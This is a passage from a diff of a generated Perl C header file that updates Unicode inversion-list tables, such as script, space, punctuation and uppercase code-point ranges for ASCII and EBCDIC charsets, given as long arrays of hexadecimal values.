0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_XPEO_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D6 -}; - -static const UV PL_XSUX_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544 -}; - -static const UV PL_YI_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3001, - 0x3003, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0x30FB, - 0x30FC, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xFF61, - 0xFF66 -}; - -static const UV PL_YIJING_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4DC0, - 0x4E00 -}; - -static const UV PL_YIRADICALS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA490, - 0xA4D0 -}; - -static const UV PL_YISYLLABLES_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA000, - 0xA490 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_Z_invlist[] = { /* for ASCII/Latin1 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x21, - 0xA0, - 0xA1, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_Z_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_Z_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_ZANB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11A00, - 0x11A48 -}; - -static const UV PL_ZL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2028, - 0x2029 -}; - -static const UV PL_ZP_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2029, - 0x202A -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_ZS_invlist[] = { /* for ASCII/Latin1 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x21, - 0xA0, - 0xA1, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ZS_invlist[] = { /* for EBCDIC 1047 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ZS_invlist[] = { /* for EBCDIC 037 */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_ZYYY_invlist[] = { /* for ASCII/Latin1 */ - 276, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x374, - 0x375, - 0x37E, - 0x37F, - 0x385, - 0x386, - 0x387, - 0x388, - 0x605, - 0x606, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0xE3F, - 0xE40, - 0xFD5, - 0xFD9, - 0x16EB, - 0x16EE, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20C0, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2E00, - 0x2E43, - 0x2E44, - 0x2E4A, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3001, - 0x3004, - 0x3005, - 0x3012, - 0x3013, - 0x3020, - 0x3021, - 0x3036, - 0x3037, - 0x3248, - 0x3260, - 0x327F, - 0x3280, - 0x32B1, - 0x32C0, - 0x32CC, - 0x32D0, - 0x3371, - 0x337B, - 0x3380, - 0x33E0, - 0x33FF, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE45, - 0xFE47, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFF21, - 0xFF3B, - 0xFF41, - 0xFF5B, - 0xFF61, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10190, - 0x1019C, - 0x101D0, - 0x101FD, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x11305, + 0x1130D, + 0x1130F, + 0x11311, + 0x11313, + 0x11329, + 0x1132A, + 0x11331, + 0x11332, + 0x11334, + 0x11335, + 0x1133A, + 0x1133C, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11350, + 0x11351, + 0x11357, + 0x11358, + 0x1135D, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11400, + 0x1145A, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x11480, + 0x114C8, + 0x114D0, + 0x114DA, + 0x11580, + 0x115B6, + 0x115B8, + 0x115DE, + 0x11600, + 0x11645, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x11680, + 0x116B8, + 0x116C0, + 0x116CA, + 0x11700, + 0x1171A, + 0x1171D, + 0x1172C, + 0x11730, + 0x11740, + 0x118A0, + 0x118F3, + 0x118FF, + 0x11900, + 0x11AC0, + 0x11AF9, + 0x11C00, + 0x11C09, + 0x11C0A, + 0x11C37, + 0x11C38, + 0x11C46, + 0x11C50, + 0x11C6D, + 0x11C70, + 0x11C90, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12000, + 0x1239A, + 0x12400, + 0x1246F, + 0x12470, + 0x12475, + 0x12480, + 0x12544, + 0x13000, + 0x1342F, + 0x14400, + 0x14647, + 0x16800, + 0x16A39, + 0x16A40, + 0x16A5F, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AD0, + 0x16AEE, + 0x16AF0, + 0x16AF6, + 0x16B00, + 0x16B46, + 0x16B50, + 0x16B5A, + 0x16B5B, + 0x16B62, + 0x16B63, + 0x16B78, + 0x16B7D, + 0x16B90, + 0x16F00, + 0x16F45, + 0x16F50, + 0x16F7F, + 0x16F8F, + 0x16FA0, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC00, + 0x1BC6B, + 0x1BC70, + 0x1BC7D, + 0x1BC80, + 0x1BC89, + 0x1BC90, + 0x1BC9A, + 0x1BC9C, + 0x1BCA4, 0x1D000, 0x1D0F6, 0x1D100, 0x1D127, 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, 0x1D1E9, + 0x1D200, + 0x1D246, 0x1D300, 0x1D357, + 0x1D360, + 0x1D372, 0x1D400, 0x1D455, 0x1D456, @@ -369725,7 +91982,99 @@ static const UV PL_ZYYY_invlist[] = { /* for ASCII/Latin1 */ 0x1D6A8, 0x1D7CC, 0x1D7CE, - 0x1D800, + 0x1DA8C, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8C7, + 0x1E8D7, + 0x1E900, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1EEF0, + 0x1EEF2, 0x1F000, 0x1F02C, 0x1F030, @@ -369747,21 +92096,19 @@ static const UV PL_ZYYY_invlist[] = { /* for ASCII/Latin1 */ 0x1F170, 0x1F1AD, 0x1F1E6, - 0x1F200, - 0x1F201, 0x1F203, 0x1F210, 0x1F23C, 0x1F240, 0x1F249, - 0x1F260, - 0x1F266, + 0x1F250, + 0x1F252, 0x1F300, - 0x1F6D5, + 0x1F6D3, 0x1F6E0, 0x1F6ED, 0x1F6F0, - 0x1F6F9, + 0x1F6F7, 0x1F700, 0x1F774, 0x1F780, @@ -369776,71 +92123,438 @@ static const UV PL_ZYYY_invlist[] = { /* for ASCII/Latin1 */ 0x1F888, 0x1F890, 0x1F8AE, - 0x1F900, - 0x1F90C, 0x1F910, + 0x1F91F, + 0x1F920, + 0x1F928, + 0x1F930, + 0x1F931, + 0x1F933, 0x1F93F, 0x1F940, - 0x1F94D, + 0x1F94C, 0x1F950, - 0x1F96C, + 0x1F95F, 0x1F980, - 0x1F998, + 0x1F992, 0x1F9C0, 0x1F9C1, - 0x1F9D0, - 0x1F9E7, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, 0xE0001, 0xE0002, 0xE0020, - 0xE0080 + 0xE0080, + 0xE0100, + 0xE01F0, + 0xF0000, + 0xFFFFE, + 0x100000, + 0x10FFFE }; -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */ - 302, /* Number of elements */ +static const UV XPosixPunct_invlist[] = { /* for EBCDIC 037 */ + 337, /* Number of elements */ 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; + 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x42, - 0x4A, + 0x4B, 0x51, 0x5A, + 0x5F, + 0x60, 0x62, - 0x6A, + 0x6B, 0x70, 0x79, 0x80, 0x8A, 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, + 0xA1, 0xA2, 0xAA, 0xAC, - 0xAD, - 0xAE, - 0xAF, + 0xB0, + 0xB1, + 0xB3, + 0xB4, + 0xB5, + 0xB7, 0xBA, - 0xBB, + 0xBC, + 0xC0, 0xC1, - 0xCA, - 0xCB, 0xD0, 0xD1, - 0xDA, - 0xDB, 0xE0, + 0xE1, + 0x37E, + 0x37F, + 0x387, + 0x388, + 0x55A, + 0x560, + 0x589, + 0x58B, + 0x5BE, + 0x5BF, + 0x5C0, + 0x5C1, + 0x5C3, + 0x5C4, + 0x5C6, + 0x5C7, + 0x5F3, + 0x5F5, + 0x609, + 0x60B, + 0x60C, + 0x60E, + 0x61B, + 0x61C, + 0x61E, + 0x620, + 0x66A, + 0x66E, + 0x6D4, + 0x6D5, + 0x700, + 0x70E, + 0x7F7, + 0x7FA, + 0x830, + 0x83F, + 0x85E, + 0x85F, + 0x964, + 0x966, + 0x970, + 0x971, + 0xAF0, + 0xAF1, + 0xDF4, + 0xDF5, + 0xE4F, + 0xE50, + 0xE5A, + 0xE5C, + 0xF04, + 0xF13, + 0xF14, + 0xF15, + 0xF3A, + 0xF3E, + 0xF85, + 0xF86, + 0xFD0, + 0xFD5, + 0xFD9, + 0xFDB, + 0x104A, + 0x1050, + 0x10FB, + 0x10FC, + 0x1360, + 0x1369, + 0x1400, + 0x1401, + 0x166D, + 0x166F, + 0x169B, + 0x169D, + 0x16EB, + 0x16EE, + 0x1735, + 0x1737, + 0x17D4, + 0x17D7, + 0x17D8, + 0x17DB, + 0x1800, + 0x180B, + 0x1944, + 0x1946, + 0x1A1E, + 0x1A20, + 0x1AA0, + 0x1AA7, + 0x1AA8, + 0x1AAE, + 0x1B5A, + 0x1B61, + 0x1BFC, + 0x1C00, + 0x1C3B, + 0x1C40, + 0x1C7E, + 0x1C80, + 0x1CC0, + 0x1CC8, + 0x1CD3, + 0x1CD4, + 0x2010, + 0x2028, + 0x2030, + 0x2044, + 0x2045, + 0x2052, + 0x2053, + 0x205F, + 0x207D, + 0x207F, + 0x208D, + 0x208F, + 0x2308, + 0x230C, + 0x2329, + 0x232B, + 0x2768, + 0x2776, + 0x27C5, + 0x27C7, + 0x27E6, + 0x27F0, + 0x2983, + 0x2999, + 0x29D8, + 0x29DC, + 0x29FC, + 0x29FE, + 0x2CF9, + 0x2CFD, + 0x2CFE, + 0x2D00, + 0x2D70, + 0x2D71, + 0x2E00, + 0x2E2F, + 0x2E30, + 0x2E45, + 0x3001, + 0x3004, + 0x3008, + 0x3012, + 0x3014, + 0x3020, + 0x3030, + 0x3031, + 0x303D, + 0x303E, + 0x30A0, + 0x30A1, + 0x30FB, + 0x30FC, + 0xA4FE, + 0xA500, + 0xA60D, + 0xA610, + 0xA673, + 0xA674, + 0xA67E, + 0xA67F, + 0xA6F2, + 0xA6F8, + 0xA874, + 0xA878, + 0xA8CE, + 0xA8D0, + 0xA8F8, + 0xA8FB, + 0xA8FC, + 0xA8FD, + 0xA92E, + 0xA930, + 0xA95F, + 0xA960, + 0xA9C1, + 0xA9CE, + 0xA9DE, + 0xA9E0, + 0xAA5C, + 0xAA60, + 0xAADE, + 0xAAE0, + 0xAAF0, + 0xAAF2, + 0xABEB, + 0xABEC, + 0xFD3E, + 0xFD40, + 0xFE10, + 0xFE1A, + 0xFE30, + 0xFE53, + 0xFE54, + 0xFE62, + 0xFE63, + 0xFE64, + 0xFE68, + 0xFE69, + 0xFE6A, + 0xFE6C, + 0xFF01, + 0xFF04, + 0xFF05, + 0xFF0B, + 0xFF0C, + 0xFF10, + 0xFF1A, + 0xFF1C, + 0xFF1F, + 0xFF21, + 0xFF3B, + 0xFF3E, + 0xFF3F, + 0xFF40, + 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF66, + 0x10100, + 0x10103, + 0x1039F, + 0x103A0, + 0x103D0, + 0x103D1, + 0x1056F, + 0x10570, + 0x10857, + 0x10858, + 0x1091F, + 0x10920, + 0x1093F, + 0x10940, + 0x10A50, + 0x10A59, + 0x10A7F, + 0x10A80, + 0x10AF0, + 0x10AF7, + 0x10B39, + 0x10B40, + 0x10B99, + 0x10B9D, + 0x11047, + 0x1104E, + 0x110BB, + 0x110BD, + 0x110BE, + 0x110C2, + 0x11140, + 0x11144, + 0x11174, + 0x11176, + 0x111C5, + 0x111CA, + 0x111CD, + 0x111CE, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111E0, + 0x11238, + 0x1123E, + 0x112A9, + 0x112AA, + 0x1144B, + 0x11450, + 0x1145B, + 0x1145C, + 0x1145D, + 0x1145E, + 0x114C6, + 0x114C7, + 0x115C1, + 0x115D8, + 0x11641, + 0x11644, + 0x11660, + 0x1166D, + 0x1173C, + 0x1173F, + 0x11C41, + 0x11C46, + 0x11C70, + 0x11C72, + 0x12470, + 0x12475, + 0x16A6E, + 0x16A70, + 0x16AF5, + 0x16AF6, + 0x16B37, + 0x16B3C, + 0x16B44, + 0x16B45, + 0x1BC9F, + 0x1BCA0, + 0x1DA87, + 0x1DA8C, + 0x1E95E, + 0x1E960 +}; + +static const UV XPosixSpace_invlist[] = { /* for EBCDIC 037 */ + 23, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x5, + 0x6, + 0xB, + 0xE, + 0x15, + 0x16, + 0x25, + 0x26, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x2028, + 0x202A, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; + +static const UV XPosixUpper_invlist[] = { /* for EBCDIC 037 */ + 1279, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x62, + 0x6A, + 0x71, + 0x79, + 0x80, + 0x81, + 0x9E, + 0x9F, + 0xAC, + 0xAF, + 0xC1, + 0xCA, + 0xD1, + 0xDA, 0xE2, 0xEA, 0xEB, @@ -369848,161 +92562,1200 @@ static const UV PL_ZYYY_invlist[] = { /* for EBCDIC 1047 */ 0xFB, 0xFF, 0x100, - 0x2B9, - 0x2E0, - 0x2E5, - 0x2EA, - 0x2EC, - 0x300, - 0x374, - 0x375, - 0x37E, + 0x101, + 0x102, + 0x103, + 0x104, + 0x105, + 0x106, + 0x107, + 0x108, + 0x109, + 0x10A, + 0x10B, + 0x10C, + 0x10D, + 0x10E, + 0x10F, + 0x110, + 0x111, + 0x112, + 0x113, + 0x114, + 0x115, + 0x116, + 0x117, + 0x118, + 0x119, + 0x11A, + 0x11B, + 0x11C, + 0x11D, + 0x11E, + 0x11F, + 0x120, + 0x121, + 0x122, + 0x123, + 0x124, + 0x125, + 0x126, + 0x127, + 0x128, + 0x129, + 0x12A, + 0x12B, + 0x12C, + 0x12D, + 0x12E, + 0x12F, + 0x130, + 0x131, + 0x132, + 0x133, + 0x134, + 0x135, + 0x136, + 0x137, + 0x139, + 0x13A, + 0x13B, + 0x13C, + 0x13D, + 0x13E, + 0x13F, + 0x140, + 0x141, + 0x142, + 0x143, + 0x144, + 0x145, + 0x146, + 0x147, + 0x148, + 0x14A, + 0x14B, + 0x14C, + 0x14D, + 0x14E, + 0x14F, + 0x150, + 0x151, + 0x152, + 0x153, + 0x154, + 0x155, + 0x156, + 0x157, + 0x158, + 0x159, + 0x15A, + 0x15B, + 0x15C, + 0x15D, + 0x15E, + 0x15F, + 0x160, + 0x161, + 0x162, + 0x163, + 0x164, + 0x165, + 0x166, + 0x167, + 0x168, + 0x169, + 0x16A, + 0x16B, + 0x16C, + 0x16D, + 0x16E, + 0x16F, + 0x170, + 0x171, + 0x172, + 0x173, + 0x174, + 0x175, + 0x176, + 0x177, + 0x178, + 0x17A, + 0x17B, + 0x17C, + 0x17D, + 0x17E, + 0x181, + 0x183, + 0x184, + 0x185, + 0x186, + 0x188, + 0x189, + 0x18C, + 0x18E, + 0x192, + 0x193, + 0x195, + 0x196, + 0x199, + 0x19C, + 0x19E, + 0x19F, + 0x1A1, + 0x1A2, + 0x1A3, + 0x1A4, + 0x1A5, + 0x1A6, + 0x1A8, + 0x1A9, + 0x1AA, + 0x1AC, + 0x1AD, + 0x1AE, + 0x1B0, + 0x1B1, + 0x1B4, + 0x1B5, + 0x1B6, + 0x1B7, + 0x1B9, + 0x1BC, + 0x1BD, + 0x1C4, + 0x1C5, + 0x1C7, + 0x1C8, + 0x1CA, + 0x1CB, + 0x1CD, + 0x1CE, + 0x1CF, + 0x1D0, + 0x1D1, + 0x1D2, + 0x1D3, + 0x1D4, + 0x1D5, + 0x1D6, + 0x1D7, + 0x1D8, + 0x1D9, + 0x1DA, + 0x1DB, + 0x1DC, + 0x1DE, + 0x1DF, + 0x1E0, + 0x1E1, + 0x1E2, + 0x1E3, + 0x1E4, + 0x1E5, + 0x1E6, + 0x1E7, + 0x1E8, + 0x1E9, + 0x1EA, + 0x1EB, + 0x1EC, + 0x1ED, + 0x1EE, + 0x1EF, + 0x1F1, + 0x1F2, + 0x1F4, + 0x1F5, + 0x1F6, + 0x1F9, + 0x1FA, + 0x1FB, + 0x1FC, + 0x1FD, + 0x1FE, + 0x1FF, + 0x200, + 0x201, + 0x202, + 0x203, + 0x204, + 0x205, + 0x206, + 0x207, + 0x208, + 0x209, + 0x20A, + 0x20B, + 0x20C, + 0x20D, + 0x20E, + 0x20F, + 0x210, + 0x211, + 0x212, + 0x213, + 0x214, + 0x215, + 0x216, + 0x217, + 0x218, + 0x219, + 0x21A, + 0x21B, + 0x21C, + 0x21D, + 0x21E, + 0x21F, + 0x220, + 0x221, + 0x222, + 0x223, + 0x224, + 0x225, + 0x226, + 0x227, + 0x228, + 0x229, + 0x22A, + 0x22B, + 0x22C, + 0x22D, + 0x22E, + 0x22F, + 0x230, + 0x231, + 0x232, + 0x233, + 0x23A, + 0x23C, + 0x23D, + 0x23F, + 0x241, + 0x242, + 0x243, + 0x247, + 0x248, + 0x249, + 0x24A, + 0x24B, + 0x24C, + 0x24D, + 0x24E, + 0x24F, + 0x370, + 0x371, + 0x372, + 0x373, + 0x376, + 0x377, 0x37F, - 0x385, + 0x380, 0x386, 0x387, 0x388, - 0x605, - 0x606, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0xE3F, - 0xE40, - 0xFD5, - 0xFD9, - 0x16EB, - 0x16EE, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20C0, - 0x2100, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x390, + 0x391, + 0x3A2, + 0x3A3, + 0x3AC, + 0x3CF, + 0x3D0, + 0x3D2, + 0x3D5, + 0x3D8, + 0x3D9, + 0x3DA, + 0x3DB, + 0x3DC, + 0x3DD, + 0x3DE, + 0x3DF, + 0x3E0, + 0x3E1, + 0x3E2, + 0x3E3, + 0x3E4, + 0x3E5, + 0x3E6, + 0x3E7, + 0x3E8, + 0x3E9, + 0x3EA, + 0x3EB, + 0x3EC, + 0x3ED, + 0x3EE, + 0x3EF, + 0x3F4, + 0x3F5, + 0x3F7, + 0x3F8, + 0x3F9, + 0x3FB, + 0x3FD, + 0x430, + 0x460, + 0x461, + 0x462, + 0x463, + 0x464, + 0x465, + 0x466, + 0x467, + 0x468, + 0x469, + 0x46A, + 0x46B, + 0x46C, + 0x46D, + 0x46E, + 0x46F, + 0x470, + 0x471, + 0x472, + 0x473, + 0x474, + 0x475, + 0x476, + 0x477, + 0x478, + 0x479, + 0x47A, + 0x47B, + 0x47C, + 0x47D, + 0x47E, + 0x47F, + 0x480, + 0x481, + 0x48A, + 0x48B, + 0x48C, + 0x48D, + 0x48E, + 0x48F, + 0x490, + 0x491, + 0x492, + 0x493, + 0x494, + 0x495, + 0x496, + 0x497, + 0x498, + 0x499, + 0x49A, + 0x49B, + 0x49C, + 0x49D, + 0x49E, + 0x49F, + 0x4A0, + 0x4A1, + 0x4A2, + 0x4A3, + 0x4A4, + 0x4A5, + 0x4A6, + 0x4A7, + 0x4A8, + 0x4A9, + 0x4AA, + 0x4AB, + 0x4AC, + 0x4AD, + 0x4AE, + 0x4AF, + 0x4B0, + 0x4B1, + 0x4B2, + 0x4B3, + 0x4B4, + 0x4B5, + 0x4B6, + 0x4B7, + 0x4B8, + 0x4B9, + 0x4BA, + 0x4BB, + 0x4BC, + 0x4BD, + 0x4BE, + 0x4BF, + 0x4C0, + 0x4C2, + 0x4C3, + 0x4C4, + 0x4C5, + 0x4C6, + 0x4C7, + 0x4C8, + 0x4C9, + 0x4CA, + 0x4CB, + 0x4CC, + 0x4CD, + 0x4CE, + 0x4D0, + 0x4D1, + 0x4D2, + 0x4D3, + 0x4D4, + 0x4D5, + 0x4D6, + 0x4D7, + 0x4D8, + 0x4D9, + 0x4DA, + 0x4DB, + 0x4DC, + 0x4DD, + 0x4DE, + 0x4DF, + 0x4E0, + 0x4E1, + 0x4E2, + 0x4E3, + 0x4E4, + 0x4E5, + 0x4E6, + 0x4E7, + 0x4E8, + 0x4E9, + 0x4EA, + 0x4EB, + 0x4EC, + 0x4ED, + 0x4EE, + 0x4EF, + 0x4F0, + 0x4F1, + 0x4F2, + 0x4F3, + 0x4F4, + 0x4F5, + 0x4F6, + 0x4F7, + 0x4F8, + 0x4F9, + 0x4FA, + 0x4FB, + 0x4FC, + 0x4FD, + 0x4FE, + 0x4FF, + 0x500, + 0x501, + 0x502, + 0x503, + 0x504, + 0x505, + 0x506, + 0x507, + 0x508, + 0x509, + 